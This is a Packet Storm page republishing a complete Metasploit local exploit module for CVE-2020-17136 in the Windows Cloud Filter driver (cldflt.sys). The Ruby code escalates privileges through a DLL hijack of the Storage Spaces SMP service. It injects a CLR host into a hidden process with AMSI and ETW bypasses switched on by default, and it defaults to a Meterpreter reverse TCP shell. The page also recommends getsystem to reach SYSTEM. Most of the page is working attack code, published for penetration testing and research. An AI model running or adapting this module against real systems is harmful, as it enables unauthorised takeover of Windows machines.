what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cloud Filter Arbitrary File Creation / Privilege Escalation

Cloud Filter Arbitrary File Creation / Privilege Escalation
Posted Jan 12, 2021
Authored by Grant Willcox, James Foreshaw | Site metasploit.com

This Metasploit module exploits a vulnerability in cldflt.sys. The Cloud Filter driver on Windows 10 v1803 and later, prior to the December 2020 updates, did not set the IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK flags when calling FltCreateFileEx() and FltCreateFileEx2() within its HsmpOpCreatePlaceholders() function with attacker controlled input. This meant that files were created with KernelMode permissions, thereby bypassing any security checks that would otherwise prevent a normal user from being able to create files in directories they don't have permissions to create files in. This module abuses this vulnerability to perform a DLL hijacking attack against the Microsoft Storage Spaces SMP service, which grants the attacker code execution as the NETWORK SERVICE user. Users are strongly encouraged to set the PAYLOAD option to one of the Meterpreter payloads, as doing so will allow them to subsequently escalate their new session from NETWORK SERVICE to SYSTEM by using Meterpreter's "getsystem" command to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM user.

tags | exploit, code execution
systems | windows
advisories | CVE-2020-1170, CVE-2020-17136
SHA-256 | 5bdffeb4ef0091f8099814e9f3a61b1346960497efc651c7566901fb62b98d96

Cloud Filter Arbitrary File Creation / Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
include Exploit::EXE
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Post::Windows::Dotnet
include Msf::Post::Windows::Services
include Msf::Post::Windows::FileSystem
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP',
'Description' => %q{
The Cloud Filter driver, cldflt.sys, on Windows 10 v1803 and later, prior to the December
2020 updates, did not set the IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK flags when
calling FltCreateFileEx() and FltCreateFileEx2() within its HsmpOpCreatePlaceholders()
function with attacker controlled input. This meant that files were created with
KernelMode permissions, thereby bypassing any security checks that would otherwise
prevent a normal user from being able to create files in directories
they don't have permissions to create files in.

This module abuses this vulnerability to perform a DLL hijacking attack against the
Microsoft Storage Spaces SMP service, which grants the attacker code execution as the
NETWORK SERVICE user. Users are strongly encouraged to set the PAYLOAD option to one
of the Meterpreter payloads, as doing so will allow them to subsequently escalate their
new session from NETWORK SERVICE to SYSTEM by using Meterpreter's "getsystem" command
to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM user.
},
'License' => MSF_LICENSE,
'Author' => [
'James Foreshaw', # Vulnerability discovery and PoC creator
'Grant Willcox' # Metasploit module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Privileged' => true,
'Arch' => [ARCH_X64],
'Targets' =>
[
[ 'Windows DLL Dropper', { 'Arch' => [ARCH_X64], 'Type' => :windows_dropper } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2020-03-10',
'References' => [
['CVE', '2020-17136'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=2082'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17136']
],
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
}
)
)
register_options(
[
OptBool.new('AMSIBYPASS', [true, 'Enable Amsi bypass', true]),
OptBool.new('ETWBYPASS', [true, 'Enable Etw bypass', true]),
OptInt.new('WAIT', [false, 'Time in seconds to wait', 5])
], self.class
)

register_advanced_options(
[
OptBool.new('KILL', [true, 'Kill the injected process at the end of the task', false])
]
)
end

def check_requirements(clr_req, installed_dotnet_versions)
installed_dotnet_versions.each do |fi|
if clr_req == 'v4.0.30319'
if fi[0] == '4'
vprint_status('Requirements ok')
return true
end
elsif fi[0] == '3'
vprint_status('Requirements ok')
return true
end
end
print_error('Required dotnet version not present')
false
end

def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
end

build_num_raw = cmd_exec('cmd.exe /c ver')
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
if build_num.nil?
return CheckCode::Unknown("Couldn't retrieve the target's build number!")
else
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
vprint_status("Target's build number: #{build_num}")
end

build_num_gemversion = Gem::Version.new(build_num)
# Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/
if (build_num_gemversion >= Gem::Version.new('10.0.19042.0')) && (build_num_gemversion < Gem::Version.new('10.0.19042.685')) # Windows 10 20H2
return CheckCode::Appears('A vulnerable Windows 10 20H2 build was detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.19041.0')) && (build_num_gemversion < Gem::Version.new('10.0.19041.685')) # Windows 10 v2004 aka 20H1
return CheckCode::Appears('A vulnerable Windows 10 20H1 build was detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.18363.0')) && (build_num_gemversion < Gem::Version.new('10.0.18363.1256')) # Windows 10 v1909
return CheckCode::Appears('A vulnerable Windows 10 v1909 build was detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.18362.0')) && (build_num_gemversion < Gem::Version.new('10.0.18362.1256')) # Windows 10 v1903
return CheckCode::Appears('A vulnerable Windows 10 v1903 build was detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.17763.0')) && (build_num_gemversion < Gem::Version.new('10.0.17763.1637')) # Windows 10 v1809
return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.17134.0')) && (build_num_gemversion < Gem::Version.new('10.0.17134.1902')) # Windows 10 v1803
return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')
else
return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
end
end

def exploit
if sysinfo['Architecture'] != 'x64'
fail_with(Failure::NoTarget, 'This module currently only supports targeting x64 systems!')
elsif session.arch != 'x64'
fail_with(Failure::NoTarget, 'Sorry, WoW64 is not supported at this time!')
end
dir_junct_path = 'C:\\Windows\\Temp'
intermediate_dir = rand_text_alpha(10).to_s
junction_dir = rand_text_alpha(10).to_s
path_to_intermediate_dir = "#{dir_junct_path}\\#{intermediate_dir}"

mkdir("#{path_to_intermediate_dir}")
if !directory?("#{path_to_intermediate_dir}")
fail_with(Failure::UnexpectedReply, 'Could not create the intermediate directory!')
end
register_dir_for_cleanup("#{path_to_intermediate_dir}")

mkdir("#{path_to_intermediate_dir}\\#{junction_dir}")
if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")
fail_with(Failure::UnexpectedReply, 'Could not create the junction directory as a folder!')
end

mount_handle = create_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", 'C:\\')
if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")
fail_with(Failure::UnexpectedReply, 'Could not transform the junction directory into a junction!')
end

exe_path = 'data/exploits/CVE-2020-17136/cloudFilterEOP.exe'
unless File.file?(exe_path)
fail_with(Failure::BadConfig, 'Assembly not found')
end
installed_dotnet_versions = get_dotnet_versions
vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")
if installed_dotnet_versions == []
fail_with(Failure::BadConfig, 'Target has no .NET framework installed')
end
if check_requirements('v4.0.30319', installed_dotnet_versions) == false
fail_with(Failure::BadConfig, 'CLR required for assembly not installed')
end
payload_path = "C:\\Windows\\Temp\\#{rand_text_alpha(16)}.dll"
print_status("Dropping payload dll at #{payload_path} and registering it for cleanup...")
write_file(payload_path, generate_payload_dll)
register_file_for_cleanup(payload_path)
execute_assembly(exe_path, "#{path_to_intermediate_dir} #{junction_dir}\\Windows\\System32\\healthapi.dll #{payload_path}")
service_start('smphost')
register_file_for_cleanup('C:\\Windows\\System32\\healthapi.dll')
sleep(3)
delete_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", mount_handle)
end

def pid_exists(pid)
mypid = client.sys.process.getpid.to_i

if pid == mypid
print_bad('Cannot select the current process as the injection target')
return false
end

host_processes = client.sys.process.get_processes
if host_processes.empty?
print_bad('No running processes found on the target host.')
return false
end

theprocess = host_processes.find { |x| x['pid'] == pid }

!theprocess.nil?
end

def launch_process
process_name = 'notepad.exe'
print_status("Launching #{process_name} to host CLR...")

process = client.sys.process.execute(process_name, nil, {
'Channelized' => true,
'Hidden' => true,
'UseThreadToken' => true,
'ParentPid' => 0
})
hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{hprocess.pid} launched.")
[process, hprocess]
end

def inject_hostclr_dll(process)
print_status("Reflectively injecting the Host DLL into #{process.pid}..")

library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly', 'HostingCLRx64.dll')
library_path = ::File.expand_path(library_path)

print_status("Injecting Host into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
[exploit_mem, offset]
end

def execute_assembly(exe_path, exe_args)
if sysinfo.nil?
fail_with(Failure::BadConfig, 'Session invalid')
else
print_status("Running module against #{sysinfo['Computer']}")
end
if datastore['WAIT'].zero?
print_warning('Output unavailable as wait time is 0')
end

process, hprocess = launch_process
exploit_mem, offset = inject_hostclr_dll(hprocess)

assembly_mem = copy_assembly(exe_path, hprocess, exe_args)

print_status('Executing...')
hprocess.thread.create(exploit_mem + offset, assembly_mem)

if datastore['WAIT'].positive?
sleep(datastore['WAIT'])
read_output(process)
end

if datastore['KILL']
print_good("Killing process #{hprocess.pid}")
client.sys.process.kill(hprocess.pid)
end

print_good('Execution finished.')
end

def copy_assembly(exe_path, process, exe_args)
print_status("Host injected. Copy assembly into #{process.pid}...")
int_param_size = 8
sign_flag_size = 1
amsi_flag_size = 1
etw_flag_size = 1
assembly_size = File.size(exe_path)

cln_params = ''
cln_params << exe_args
cln_params << "\x00"

payload_size = amsi_flag_size + etw_flag_size + sign_flag_size + int_param_size
payload_size += assembly_size + cln_params.length
assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE)
params = [
assembly_size,
cln_params.length,
datastore['AMSIBYPASS'] ? 1 : 0,
datastore['ETWBYPASS'] ? 1 : 0,
2
].pack('IICCC')
params += cln_params

process.memory.write(assembly_mem, params + File.read(exe_path))
print_status('Assembly copied.')
assembly_mem
end

def read_output(process)
print_status('Start reading output')
old_timeout = client.response_timeout
client.response_timeout = 5

begin
loop do
output = process.channel.read
if !output.nil? && !output.empty?
output.split("\n").each { |x| print_good(x) }
end
break if output.nil? || output.empty?
end
rescue Rex::TimeoutError
vprint_warning('Time out exception: wait limit exceeded (5 sec)')
rescue ::StandardError => e
print_error("Exception: #{e.inspect}")
end

client.response_timeout = old_timeout
print_status('End output.')
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close